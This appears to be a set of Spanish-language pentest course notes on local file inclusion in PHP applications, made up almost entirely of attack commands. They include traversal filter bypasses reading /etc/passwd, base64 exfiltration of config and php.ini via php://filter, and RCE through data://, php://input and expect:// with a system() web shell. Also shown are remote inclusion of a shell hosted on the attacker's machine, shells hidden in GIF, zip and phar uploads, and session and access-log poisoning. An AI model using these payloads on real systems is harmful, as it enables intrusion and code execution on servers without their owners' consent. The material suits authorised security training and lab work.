18 - LFI

Pasar Filtros Básicos

Algunas aplicaciones usan un filtro sencillo que elimina la cadena ../. Usando ....//....//....//etc/passwd sale ../../../etc/passwd.
Si la aplicación filtra caracteres como . o /, se puede usar codificación URL: ../ como %2e%2e%2f.

Filtros PHP

Filter Wrapper

Con php://filter/ aplicamos filtros a recursos; el más útil es convert.base64-encode, que devuelve el contenido del archivo en b64.
terminal
php://filter/read=convert.base64-encode/resource=config
Se omite la extensión .php en el recurso ya que la aplicación puede estar añadiéndola automáticamente.

Fuzzing Archivos PHP

terminal
$ ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<SERVER_IP>:<PORT>/FUZZ.php

RCE

El objetivo es pasar de LFI a RCE usando wrappers de PHP.

Verificar allow_url_include (solo wrapper data/input)

terminal
$ curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"$ echo 'BASE64_STRING' | base64 -d | grep allow_url_include

Wrappers para RCE

Data

bash
$ echo '<?php system($_GET["cmd"]); ?>' | base64$ curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==&cmd=id'

Input

bash
$ curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"

Expect

terminal
$ curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"

RFI

Incluir archivos remotos; si allow_url_include está activo un atacante puede ejecutar código (incluyendo un script PHP alojado en su servidor) o hacer SSRF.
bash
# Script malicioso en nuestro servidor<?php system($_GET["cmd"]); ?>$ sudo python3 -m http.server# En la url víctimahttp://<SERVER_IP>:<PORT>/index.php?language=http://<TU_IP>:<LISTENING_PORT>/shell.php&cmd=id

LFI con Subida de Archivos

Subir un archivo que parezca una imagen válida pero con código PHP:
bash
$ echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif# tras subirlo, conociendo la rutahttp://<SERVER_IP>:<PORT>/index.php?language=./profile_images/shell.gif&cmd=id

Zip y Phar

bash
# Zip$ echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.phphttp://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id
php
// Phar
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
terminal
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpghttp://<SERVER_IP>:<PORT>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id

Log Poisoning

PHP Session Poisoning

Los archivos de sesión PHP se guardan en /var/lib/php/sessions/ con el ID de sesión. Si controlas un parámetro que se guarda en la sesión:
bash
http://<SERVER_IP>:<PORT>/index.php?language=<?php system(\$_GET['cmd']); ?>http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_<PHPSESSID>&cmd=id

Server Log Poisoning

Los logs (access.log/error.log) registran el User-Agent, que podemos controlar:
bash
$ curl -s "http://<IP>:<PORT>/index.php" -A "<?php system(\$_GET['cmd']); ?>"http://<SERVER_IP>:<PORT>/index.php?language=/var/log/apache2/access.log&cmd=id

Automatizando con FFUF y Arjun

terminal
arjun -u <URL>$ ffuf -u 'http://94.237.59.30:52740?view=FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -c -fs 1935